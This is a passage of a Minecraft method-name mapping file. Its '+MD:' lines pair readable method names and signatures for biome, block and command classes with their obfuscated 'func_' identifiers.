(Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenSnow/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenSnow/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenJungle/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenJungle/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenJungle/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenJungle/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenJungle/getRandomWorldGenForGrass (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenerator; net/minecraft/world/biome/BiomeGenJungle/func_76730_b (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenerator; +MD: net/minecraft/world/biome/BiomeGenMesa/func_180629_a (III)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/biome/BiomeGenMesa/func_180629_a (III)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/biome/BiomeGenMesa/func_150619_a (J)V net/minecraft/world/biome/BiomeGenMesa/func_150619_a (J)V +MD: net/minecraft/world/biome/BiomeGenMesa/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenMesa/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenMesa/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenMesa/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenMesa/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenMesa/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenMesa/getGrassColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenMesa/func_180627_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenMesa/getFoliageColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenMesa/func_180625_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenMesa/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenMesa/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenMutated/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenMutated/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenMutated/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenMutated/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenMutated/isEqualTo (Lnet/minecraft/world/biome/BiomeGenBase;)Z net/minecraft/world/biome/BiomeGenMutated/func_150569_a (Lnet/minecraft/world/biome/BiomeGenBase;)Z +MD: net/minecraft/world/biome/BiomeGenMutated/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenMutated/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenMutated/getGrassColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenMutated/func_180627_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenMutated/getFoliageColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenMutated/func_180625_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenMutated/getSpawningChance ()F net/minecraft/world/biome/BiomeGenMutated/func_76741_f ()F +MD: net/minecraft/world/biome/BiomeGenMutated/getBiomeClass ()Ljava/lang/Class; net/minecraft/world/biome/BiomeGenMutated/func_150562_l ()Ljava/lang/Class; +MD: net/minecraft/world/biome/BiomeGenMutated/getTempCategory ()Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; net/minecraft/world/biome/BiomeGenMutated/func_150561_m ()Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; +MD: net/minecraft/world/biome/BiomeGenOcean/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenOcean/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenOcean/getTempCategory ()Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; net/minecraft/world/biome/BiomeGenOcean/func_150561_m ()Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; +MD: net/minecraft/world/biome/BiomeGenPlains/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenPlains/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenPlains/pickRandomFlower (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/world/biome/BiomeGenPlains/func_180623_a (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/world/biome/BiomeGenPlains/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenPlains/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenSavanna$Mutated/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenSavanna$Mutated/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenSavanna$Mutated/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenSavanna$Mutated/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenSavanna/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenSavanna/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenSavanna/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenSavanna/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenSavanna/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenSavanna/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenSwamp/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenSwamp/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenSwamp/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenSwamp/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenSwamp/pickRandomFlower (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/world/biome/BiomeGenSwamp/func_180623_a (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/world/biome/BiomeGenSwamp/getGrassColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenSwamp/func_180627_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenSwamp/getFoliageColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenSwamp/func_180625_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenTaiga/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenTaiga/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenTaiga/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenTaiga/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenTaiga/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenTaiga/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenTaiga/getRandomWorldGenForGrass (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenerator; net/minecraft/world/biome/BiomeGenTaiga/func_76730_b (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenerator; +MD: net/minecraft/world/biome/BiomeGenTaiga/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenTaiga/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenEnd/getSkyColorByTemp (F)I net/minecraft/world/biome/BiomeGenEnd/func_76731_a (F)I +MD: net/minecraft/world/biome/BiomeEndDecorator/genDecorations (Lnet/minecraft/world/biome/BiomeGenBase;)V net/minecraft/world/biome/BiomeEndDecorator/func_150513_a (Lnet/minecraft/world/biome/BiomeGenBase;)V +MD: net/minecraft/block/BlockAir/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockAir/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockAir/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockAir/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockAir/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockAir/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockAir/canCollideCheck (Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockAir/func_176209_a (Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockAir/getRenderType ()I net/minecraft/block/BlockAir/func_149645_b ()I +MD: net/minecraft/block/BlockAir/isOpaqueCube ()Z net/minecraft/block/BlockAir/func_149662_c ()Z +MD: net/minecraft/block/BlockAnvil$Anvil/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/block/BlockAnvil$Anvil/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/block/BlockAnvil$Anvil/getName ()Ljava/lang/String; net/minecraft/block/BlockAnvil$Anvil/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/block/BlockAnvil$Anvil/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/block/BlockAnvil$Anvil/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/block/BlockAnvil$Anvil/getGuiID ()Ljava/lang/String; net/minecraft/block/BlockAnvil$Anvil/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/block/BlockAnvil$Anvil/hasCustomName ()Z net/minecraft/block/BlockAnvil$Anvil/func_145818_k_ ()Z +MD: net/minecraft/block/BlockAnvil/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockAnvil/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockAnvil/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockAnvil/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockAnvil/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockAnvil/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockAnvil/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockAnvil/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockAnvil/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockAnvil/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockAnvil/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockAnvil/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockAnvil/onStartFalling (Lnet/minecraft/entity/item/EntityFallingBlock;)V net/minecraft/block/BlockAnvil/func_149829_a (Lnet/minecraft/entity/item/EntityFallingBlock;)V +MD: net/minecraft/block/BlockAnvil/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockAnvil/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockAnvil/onEndFalling (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockAnvil/func_176502_a_ (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockAnvil/getStateForEntityRender (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockAnvil/func_176217_b (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockAnvil/isOpaqueCube ()Z net/minecraft/block/BlockAnvil/func_149662_c ()Z +MD: net/minecraft/block/BlockAnvil/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockAnvil/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockAnvil/isFullCube ()Z net/minecraft/block/BlockAnvil/func_149686_d ()Z +MD: net/minecraft/block/BlockAnvil/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockAnvil/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/command/CommandFill/getRequiredPermissionLevel ()I net/minecraft/command/CommandFill/func_82362_a ()I +MD: net/minecraft/command/CommandFill/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandFill/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandFill/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandFill/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandFill/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandFill/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandFill/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandFill/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/block/BlockBanner$BlockBannerStanding/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockBanner$BlockBannerStanding/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockBanner$BlockBannerStanding/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockBanner$BlockBannerStanding/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockBanner$BlockBannerStanding/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockBanner$BlockBannerStanding/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockBanner$BlockBannerStanding/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockBanner$BlockBannerStanding/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockBanner$BlockBannerHanging/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockBanner$BlockBannerHanging/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockBanner$BlockBannerHanging/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockBanner$BlockBannerHanging/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockBanner$BlockBannerHanging/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockBanner$BlockBannerHanging/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockBanner$BlockBannerHanging/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockBanner$BlockBannerHanging/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockBanner$BlockBannerHanging/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockBanner$BlockBannerHanging/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockBanner/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockBanner/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockBanner/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockBanner/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockBanner/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockBanner/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockBanner/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockBanner/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockBanner/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockBanner/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBanner/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockBanner/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockBanner/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBanner/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBanner/isOpaqueCube ()Z net/minecraft/block/BlockBanner/func_149662_c ()Z +MD: net/minecraft/block/BlockBanner/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockBanner/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBanner/isFullCube ()Z net/minecraft/block/BlockBanner/func_149686_d ()Z +MD: net/minecraft/block/BlockBanner/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBanner/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBanner/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockBanner/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockBanner/canSpawnInBlock ()Z net/minecraft/block/BlockBanner/func_181623_g ()Z +MD: net/minecraft/block/BlockBarrier/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockBarrier/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockBarrier/getRenderType ()I net/minecraft/block/BlockBarrier/func_149645_b ()I +MD: net/minecraft/block/BlockBarrier/isOpaqueCube ()Z net/minecraft/block/BlockBarrier/func_149662_c ()Z +MD: net/minecraft/block/BlockBarrier/getAmbientOcclusionLightValue ()F net/minecraft/block/BlockBarrier/func_149685_I ()F +MD: net/minecraft/block/BlockContainer/onBlockEventReceived (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z net/minecraft/block/BlockContainer/func_180648_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z +MD: net/minecraft/block/BlockContainer/isInvalidNeighbor (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockContainer/func_181086_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockContainer/getRenderType ()I net/minecraft/block/BlockContainer/func_149645_b ()I +MD: net/minecraft/block/BlockContainer/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockContainer/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockContainer/hasInvalidNeighbor (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockContainer/func_181087_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBasePressurePlate/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockBasePressurePlate/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockBasePressurePlate/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockBasePressurePlate/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockBasePressurePlate/updateState (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/BlockBasePressurePlate/func_180666_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/BlockBasePressurePlate/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockBasePressurePlate/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockBasePressurePlate/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockBasePressurePlate/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockBasePressurePlate/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockBasePressurePlate/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockBasePressurePlate/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockBasePressurePlate/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockBasePressurePlate/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockBasePressurePlate/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockBasePressurePlate/setRedstoneStrength (Lnet/minecraft/block/state/IBlockState;I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockBasePressurePlate/func_176575_a (Lnet/minecraft/block/state/IBlockState;I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockBasePressurePlate/getSensitiveAABB (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockBasePressurePlate/func_180667_a 